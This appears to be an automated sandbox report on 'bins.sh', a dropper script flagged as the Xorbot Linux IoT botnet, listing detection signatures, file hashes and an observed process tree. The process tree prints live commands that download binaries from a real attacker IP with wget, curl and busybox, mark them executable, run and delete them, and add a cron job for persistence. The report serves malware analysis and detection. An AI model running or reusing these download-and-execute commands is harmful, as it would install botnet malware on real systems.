Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20-02-2025 18:33

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1a818bb63a3306ae460a32c139410128

  • SHA1

    a25809c8e4858f91c10123448406631554ab739d

  • SHA256

    3a6cdf4d9eb0d91dc2125de430207fc449a34acb22787078b19b11df5b42ae32

  • SHA512

    3e47969ff983b506139c03ef59f55f7e5983ca8cb590dd0ad4d1c1a62bd6b174ab3aaf1e6f605f07e037b8a7b7f866466ebee7438a93ff86c1b00aeb79997caa

  • SSDEEP

    192:fipgN2oT7Udx7DLs5NzO/IT7UdxTDLs5NmA:fqgN20O/A

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1238) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1515
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1516
      • /usr/bin/wget
        wget http://37.44.238.88/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
        2⤵
        • Writes file to tmp directory
        PID:1517
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
        2⤵
        • Writes file to tmp directory
        PID:1521
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
        2⤵
        • Writes file to tmp directory
        PID:1522
      • /bin/chmod
        chmod 777 2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
        2⤵
        • File and Directory Permissions Modification
        PID:1523
      • /tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
        ./2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
        2⤵
          PID:1524
        • /bin/rm
          rm 2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
          2⤵
            PID:1526
          • /usr/bin/wget
            wget http://37.44.238.88/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
            2⤵
            • Writes file to tmp directory
            PID:1529
          • /bin/chmod
            chmod 777 MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
            2⤵
            • File and Directory Permissions Modification
            PID:1530
          • /tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
            ./MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
            2⤵
              PID:1531
            • /bin/rm
              rm MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
              2⤵
                PID:1533
              • /usr/bin/wget
                wget http://37.44.238.88/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
                2⤵
                • Writes file to tmp directory
                PID:1534
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
                2⤵
                • Writes file to tmp directory
                PID:1535
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
                2⤵
                • Writes file to tmp directory
                PID:1536
              • /bin/chmod
                chmod 777 YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
                2⤵
                • File and Directory Permissions Modification
                PID:1537
              • /usr/bin/crontab
                crontab -l
                2⤵
                  PID:1541
                • /usr/bin/crontab
                  crontab -
                  2⤵
                  • Creates/modifies Cron job
                  PID:1543
                • /bin/rm
                  rm YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
                  2⤵
                    PID:1545
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
                    2⤵
                      PID:1548

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
                    Filesize

                    151KB

                    MD5

                    6c583043d91c55aa470c08c87058e917

                    SHA1

                    abf65a5b9bba69980278ad09356e53de8bb89439

                    SHA256

                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                    SHA512

                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                    Download Submit

                  • /tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
                    Filesize

                    111KB

                    MD5

                    701e7a55a4f3650f5feee92a9860e5fc

                    SHA1

                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                    SHA256

                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                    SHA512

                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                    Download Submit

                  • /tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
                    Filesize

                    99KB

                    MD5

                    9438d9bc392bcf300a5583b6df5bc8f6

                    SHA1

                    375a6ae34b516f6f3eeea8030c4084f585017efa

                    SHA256

                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                    SHA512

                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                    Download Submit

                  • /var/spool/cron/crontabs/tmp.mElA34
                    Filesize

                    210B

                    MD5

                    2179cb85daed5561b0ce6f2f027da43b

                    SHA1

                    0796ae9fe28d5657db7c54cef33262693384b26f

                    SHA256

                    ea6525f35f14fd5299a811bf0ead9b603d27fd816fe16319fb35eba3bbf6c2de

                    SHA512

                    8058f3b015bcc324d7055ba3e959b8bc527eeb4bc7f1734827746f9e2d4c2d1212c40e1a1ac9971b42d64a2b9d10e8d33e5e642a1ab24545becb419bb1102efb

                    Download Submit